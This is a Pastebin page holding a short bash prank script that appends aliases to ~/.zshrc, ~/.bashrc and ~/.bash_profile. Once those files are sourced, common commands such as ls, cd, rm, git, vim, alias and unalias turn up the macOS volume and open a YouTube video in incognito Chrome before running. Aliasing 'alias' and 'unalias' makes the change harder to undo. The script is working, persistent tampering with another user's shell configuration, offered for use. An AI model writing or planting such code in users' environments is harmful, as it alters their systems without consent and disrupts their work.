Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- LINK='https://youtu.be/Pgs79yOlhGI?t=2'
- VOLUME='8'
- for cmd in 'ls' 'cat' 'unalias' 'python' 'python3' 'gcc' 'g++' 'vim' 'cd' 'nano' 'emacs' 'rm' 'git' 'find' 'make' 'open' 'alias'
- do
- ALIAS_FUNCTION="osascript -e 'set Volume ${VOLUME}' && open -na 'Google Chrome' --args --incognito '${LINK}'; ${cmd}"
- ALIAS="alias ${cmd}=\"${ALIAS_FUNCTION}\""
- echo ${ALIAS} >> ~/.zshrc
- echo ${ALIAS} >> ~/.bashrc
- echo ${ALIAS} >> ~/.bash_profile
- done
- bash -c "source ~/.bash_profile"
- bash -c "source ~/.bashrc"
- zsh -c "source ~/.zshrc"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement